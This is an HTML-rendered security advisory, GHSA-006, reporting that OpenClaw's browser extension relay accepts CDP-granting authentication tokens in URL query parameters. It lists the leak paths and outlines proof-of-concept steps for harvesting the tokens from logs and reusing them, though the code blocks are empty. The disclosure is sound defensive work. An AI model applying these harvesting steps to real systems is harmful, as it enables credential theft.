Reported: 2026-03-10</div><hr class="notion-hr notion-block-3230f0c5b87c8068a110c65a505ab484"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c80b98315d97f86c90452" data-id="3230f0c5b87c80b98315d97f86c90452"><span><div id="3230f0c5b87c80b98315d97f86c90452" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80b98315d97f86c90452" title="GHSA-006: Browser Extension Relay Authentication Token Exposure via URL Query Parameters"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-006: Browser Extension Relay Authentication Token Exposure via URL Query Parameters</span></span></h3><blockquote class="notion-quote notion-block-3230f0c5b87c805a8b88f106333344f0"><div><b>严重级别</b>: Medium  |  <b>类型</b>: 凭证暴露  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c800eb042e139a16a6e90" data-id="3230f0c5b87c800eb042e139a16a6e90"><span><div id="3230f0c5b87c800eb042e139a16a6e90" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c800eb042e139a16a6e90" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80ad911edad485a25f93">OpenClaw’s browser extension relay authentication system accepts tokens via URL query parameters (<code class="notion-inline-code">?token=...</code>), causing credentials to be logged in HTTP access logs, browser history, reverse proxy logs, and potentially leaked via <code class="notion-inline-code">Referer</code> headers. This violates security best practices for credential transmission and creates multiple exposure vectors for the relay authentication token, which grants full Chrome DevTools Protocol (CDP) access.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c087e3c670dff37155" data-id="3230f0c5b87c80c087e3c670dff37155"><span><div id="3230f0c5b87c80c087e3c670dff37155" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c087e3c670dff37155" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8008a715decff7e82499"><b>Medium</b> - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (Base Score: 7.5)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80289e0ed04df327f87b" data-id="3230f0c5b87c80289e0ed04df327f87b"><span><div id="3230f0c5b87c80289e0ed04df327f87b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80289e0ed04df327f87b" title="Affected Versions"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Versions</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80e99298edabaace34e8"><li>All versions with browser extension relay enabled</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80a4b7d2f30c4ae5ce16"><li>Affects: <code class="notion-inline-code">src/browser/extension-relay.ts</code>, <code class="notion-inline-code">src/browser/extension-relay-auth.ts</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c801db009e00bda5b50e4" data-id="3230f0c5b87c801db009e00bda5b50e4"><span><div id="3230f0c5b87c801db009e00bda5b50e4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c801db009e00bda5b50e4" title="Vulnerability Details"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Vulnerability Details</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802ba770de9f42416af7" data-id="3230f0c5b87c802ba770de9f42416af7"><span><div id="3230f0c5b87c802ba770de9f42416af7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802ba770de9f42416af7" title="Root Cause"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Root Cause</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80d49df3c2fd97229048">The relay authentication token extraction function accepts tokens from <b>both</b> HTTP headers (secure) and URL query parameters (insecure):</div><div class="notion-text notion-block-3230f0c5b87c80c69f83db0a585972b9"><b>Vulnerable Code</b> (<code class="notion-inline-code">src/browser/extension-relay.ts:102-112</code>):</div><div class="notion-text notion-block-3230f0c5b87c8089b764fffc8d22caea"><b>Usage in WebSocket Upgrade Handlers</b>:</div><div class="notion-text notion-block-3230f0c5b87c8093bb18f65652eb8a7d"><code class="notion-inline-code">/extension</code> endpoint (<code class="notion-inline-code">extension-relay.ts:710-714</code>):</div><div class="notion-text notion-block-3230f0c5b87c80538148e0ad867996af"><code class="notion-inline-code">/cdp</code> endpoint (<code class="notion-inline-code">extension-relay.ts:735-737</code>):</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807a9aedf99932aa87e2" data-id="3230f0c5b87c807a9aedf99932aa87e2"><span><div id="3230f0c5b87c807a9aedf99932aa87e2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807a9aedf99932aa87e2" title="Token Derivation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Token Derivation</span></span></h4><div class="notion-text notion-block-3230f0c5b87c802f8b85dd7aaf17559c">Relay tokens are derived from gateway tokens via HMAC-SHA256 (<code class="notion-inline-code">extension-relay-auth.ts:66-68</code>):</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c804ab73fca0263df9f56" data-id="3230f0c5b87c804ab73fca0263df9f56"><span><div id="3230f0c5b87c804ab73fca0263df9f56" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c804ab73fca0263df9f56" title="Missing Security Headers"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Missing Security Headers</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80d49b51d95616a5176a">The relay HTTP server lacks protective response headers:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80489673ec4b7601d2ef" data-id="3230f0c5b87c80489673ec4b7601d2ef"><span><div id="3230f0c5b87c80489673ec4b7601d2ef" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80489673ec4b7601d2ef" title="Proof of Concept"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Proof of Concept</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8053bc91fe4a60579d1c" data-id="3230f0c5b87c8053bc91fe4a60579d1c"><span><div id="3230f0c5b87c8053bc91fe4a60579d1c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8053bc91fe4a60579d1c" title="Step 1: Obtain Valid Relay Token"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 1: Obtain Valid Relay Token</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80aea2acc22ece2dd75c"><b>复现截图 - WebSocket URL 中的令牌暴露：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c8079ba02f791b8a1b180"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa006_step1_websocket.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8079-ba02-f791b8a1b180" alt="Scenario 1" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80e28549f274709839fa">Scenario 1</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c806ca5d6e280162e443e" data-id="3230f0c5b87c806ca5d6e280162e443e"><span><div id="3230f0c5b87c806ca5d6e280162e443e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c806ca5d6e280162e443e" title="Step 2: Demonstrate Token Exposure"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 2: Demonstrate Token Exposure</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8077864be2a78f779fd0"><b>Method A: Secure (Header-Based)</b></div><div class="notion-text notion-block-3230f0c5b87c80608d1bc1a65c314aa8"><b>Method B: Insecure (Query Parameter)</b></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c800e92cbf224684a7ca6" data-id="3230f0c5b87c800e92cbf224684a7ca6"><span><div id="3230f0c5b87c800e92cbf224684a7ca6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c800e92cbf224684a7ca6" title="Step 3: Verify Log Exposure"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 3: Verify Log Exposure</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8005b9ade06ef01187b6"><b>复现截图 - 访问日志中的令牌暴露：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80c1ab8df990e176d689"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa006_step2_logs.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80c1-ab8d-f990e176d689" alt="Scenario 2" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c8025aba0d257fe6af51b">Scenario 2</div><div class="notion-text notion-block-3230f0c5b87c805caac8dde4366fbc84"><b>nginx Access Log</b>:</div><div class="notion-text notion-block-3230f0c5b87c80dab2dbdd2236cf7139"><b>Log Entry</b>:</div><div class="notion-text notion-block-3230f0c5b87c809b8e71d6e8d559e9d7"><b>Browser History</b>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807585a3ef8e850bede3" data-id="3230f0c5b87c807585a3ef8e850bede3"><span><div id="3230f0c5b87c807585a3ef8e850bede3" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807585a3ef8e850bede3" title="Step 4: Token Harvesting from Logs"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 4: Token Harvesting from Logs</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80aabf75ca3a69d4fd98"><b>Splunk Query</b>:</div><div class="notion-text notion-block-3230f0c5b87c8062a51fc9787f60e067"><b>grep Extraction</b>:</div><div class="notion-text notion-block-3230f0c5b87c806bb6a0e783a6823083"><b>Elasticsearch Query</b>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c89152dc74bbbb160f" data-id="3230f0c5b87c80c89152dc74bbbb160f"><span><div id="3230f0c5b87c80c89152dc74bbbb160f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c89152dc74bbbb160f" title="Step 5: Use Stolen Token"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 5: Use Stolen Token</span></span></h4><div class="notion-blank notion-block-3230f0c5b87c80f09ce7cd315aee6a3e"> </div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8004b429f4070bc6b593" data-id="3230f0c5b87c8004b429f4070bc6b593"><span><div id="3230f0c5b87c8004b429f4070bc6b593" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8004b429f4070bc6b593" title="Token Exposure Vectors"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Token Exposure Vectors</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80d4b725e363d9ef8d13" data-id="3230f0c5b87c80d4b725e363d9ef8d13"><span><div id="3230f0c5b87c80d4b725e363d9ef8d13" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80d4b725e363d9ef8d13" title="1. HTTP Server Access Logs"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1. HTTP Server Access Logs</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80ad873eeca4a90d2b79"><b>Affected Systems</b>:
- nginx: <code class="notion-inline-code">access.log</code> (default format includes full URI)
- Apache: <code class="notion-inline-code">access_log</code> with <code class="notion-inline-code">%r</code> or <code class="notion-inline-code">%U%q</code>
- IIS: W3C Extended format with <code class="notion-inline-code">cs-uri-query</code>
- OpenClaw’s own HTTP server (if logging enabled)</div><div class="notion-text notion-block-3230f0c5b87c80749e92c32dc462b4bb"><b>Exposure Duration</b>: Log retention period (typically 7-90 days)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c809bbea3ee445967ae4d" data-id="3230f0c5b87c809bbea3ee445967ae4d"><span><div id="3230f0c5b87c809bbea3ee445967ae4d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c809bbea3ee445967ae4d" title="2. Reverse Proxy / Load Balancer Logs"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2. Reverse Proxy / Load Balancer Logs</span></span></h4><div class="notion-text notion-block-3230f0c5b87c809f8d92ea20d451bf4e"><b>Affected Systems</b>:
- AWS Application Load Balancer: <code class="notion-inline-code">request_url</code> field
- Cloudflare: Access logs (if enabled)
- Nginx reverse proxy: <code class="notion-inline-code">$request_uri</code> variable
- HAProxy: <code class="notion-inline-code">%HU</code> log format</div><div class="notion-text notion-block-3230f0c5b87c805497a3ea7ac20f1d21"><b>Exposure Duration</b>: Cloud provider retention (often 30-90 days, immutable)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80d5834beec9ab5a245d" data-id="3230f0c5b87c80d5834beec9ab5a245d"><span><div id="3230f0c5b87c80d5834beec9ab5a245d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80d5834beec9ab5a245d" title="3. Browser History"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3. Browser History</span></span></h4><div class="notion-text notion-block-3230f0c5b87c805a8538c172edd0e987"><b>Affected Systems</b>:
- Chrome: <code class="notion-inline-code">chrome://history/</code>
- Firefox: <code class="notion-inline-code">about:history</code>
- Safari: History menu</div><div class="notion-text notion-block-3230f0c5b87c80d1bf8fe820072f656d"><b>Exposure Duration</b>: Until user clears history (potentially indefinite)
<b>Persistence</b>: Synced to cloud if browser sync enabled</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80739b45ea2611735c63" data-id="3230f0c5b87c80739b45ea2611735c63"><span><div id="3230f0c5b87c80739b45ea2611735c63" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80739b45ea2611735c63" title="4. Corporate MITM Proxies"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">4. Corporate MITM Proxies</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8091be51d5c8d42a4159"><b>Affected Systems</b>:
- Zscaler
- BlueCoat/Symantec Web Gateway
- Palo Alto Networks Prisma Access
- Cisco Umbrella</div><div class="notion-text notion-block-3230f0c5b87c802fa8b8c1806eabd216"><b>Risk</b>: Even HTTPS connections are decrypted, re-encrypted. Full URL visible.
<b>Exposure Duration</b>: Enterprise log retention (6-12 months typical)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c805ca510e3cc0f30c1fe" data-id="3230f0c5b87c805ca510e3cc0f30c1fe"><span><div id="3230f0c5b87c805ca510e3cc0f30c1fe" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c805ca510e3cc0f30c1fe" title="5. Referer Header Leakage"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">5. Referer Header Leakage</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80a3b622c696d8f47dea">If relay serves HTML with external resources:</div><div class="notion-text notion-block-3230f0c5b87c80d58d35f390f46ae79d">Request to CDN:</div><div class="notion-text notion-block-3230f0c5b87c80ab87f7f4d1a895cdf4"><b>Missing Protection</b>: Relay does not set <code class="notion-inline-code">Referrer-Policy: no-referrer</code></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802bb036d45c370e80d9" data-id="3230f0c5b87c802bb036d45c370e80d9"><span><div id="3230f0c5b87c802bb036d45c370e80d9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802bb036d45c370e80d9" title="6. Log Aggregation Systems"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6. Log Aggregation Systems</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80009847ecce86027379"><b>Affected Systems</b>:
- Splunk
- Elasticsearch (ELK Stack)
- AWS CloudWatch Logs
- Datadog
- Sumo Logic</div><div class="notion-text notion-block-3230f0c5b87c8065917fca768776d28c"><b>Risk</b>: Centralized storage → single point of compromise
